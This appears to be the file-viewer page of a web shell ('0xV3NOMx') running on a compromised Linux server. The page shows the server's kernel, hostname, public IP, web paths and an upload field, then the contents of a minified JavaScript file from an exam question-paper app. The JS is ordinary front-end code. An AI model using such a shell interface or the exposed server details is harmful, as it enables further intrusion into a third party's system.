0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.190.253.224


Current Path : /var/www/qpms/assets/
Upload File :
Current File : /var/www/qpms/assets/PrepareQp-DbpGU9nk.js

import{v as p,E as n}from"./index-D3WoDWyo.js";const y=()=>async(o,e)=>{try{const r=e();let a=localStorage.getItem("dbname");o({type:"SET_LOADER"});const s=await p.get("app.php?a=getPrepareQpDetails&db="+a+"&teachcode="+r.loginfo.userData.fregno);if(o({type:"UNSET_LOADER"}),typeof s.data!="object")n("Error","Something went wrong, Please try again later");else if(s.data.error_code===0){let t=s.data.data.map((l,c)=>({...l,key:c,fslno:c+1}));o({type:"PREPARE_QP_DETAILS",payload:t})}else o({type:"CLEAR_PREPARE_QP_DETAILS",payload:[]})}catch(r){console.log("error",r.message)}},E=o=>async(e,r)=>{try{const a=r();let s=localStorage.getItem("dbname");e({type:"SET_LOADER"});const t=await p.post("app.php?a=getQuestions&db="+s+"&usertype="+a.loginfo.userData.fusertype,o);if(e({type:"UNSET_LOADER"}),typeof t.data!="object")n("Error","Something went wrong, Please try again later");else if(t.data.error_code===0){let l=t.data.data.map((c,d)=>({...c,key:d,fslno:d+1}));e({type:"QUESTION_NOS",payload:l})}else e({type:"CLEAR_QUESTION_NOS",payload:[]})}catch(a){console.log("error",a.message)}},m=o=>async e=>{const r=JSON.parse(o);r.error_code===0?e({type:"QN_FILE_DET",payload:r.data.msg}):e({type:"CLEAR_QN_FILE_DET",payload:[]})},i=o=>async(e,r)=>{try{const a=r();let s=localStorage.getItem("dbname");e({type:"SET_LOADER"});const t=await p.get("app.php?a=getSelectedMCQFinalPapers&db="+s+"&univcode="+a.loginfo.userData.funivcode+"&data="+JSON.stringify(o));if(e({type:"UNSET_LOADER"}),t.data.error_code===0){const l=t.data.data.map((c,d)=>({...c,key:d,fslno:d+1}));e({type:"MCQ_SELECTED_QP_DATA",payload:l})}else e({type:"MCQ_SELECTED_QP_DATA",payload:[]})}catch(a){n("error",a.message)}},_=o=>async(e,r)=>{try{const a=r();let s=localStorage.getItem("dbname");e({type:"SET_LOADER"});const t=await p.get("app.php?a=generateMCQVersions&db="+s+"&univcode="+a.loginfo.userData.funivcode+"&data="+JSON.stringify(o));e({type:"UNSET_LOADER"}),t.data.error_code===0?n("success",t.data.data.msg):n("info",t.data.data.msg)}catch(a){n("error",a.message)}},S=o=>async(e,r)=>{try{const a=r();let s=localStorage.getItem("dbname");e({type:"SET_LOADER"});const t=await p.post("app.php?a=deleteThQpFile&db="+s+"&univcode="+a.loginfo.userData.funivcode,o);e({type:"UNSET_LOADER"}),t.data.error_code===0?n("success",t.data.data.msg):n("info",t.data.data.msg)}catch(a){n("error",a.message)}},f=(o,e)=>async(r,a)=>{try{const s=a();let t=localStorage.getItem("dbname");r({type:"SET_LOADER"});const l=await p.post("app.php?a=saveTeachConfirm&db="+t+"&univcode="+s.loginfo.userData.funivcode,o);r({type:"UNSET_LOADER"}),e()}catch(s){n("error",s.message)}};export{E as a,i as b,_ as c,S as d,y as g,f as s,m as u};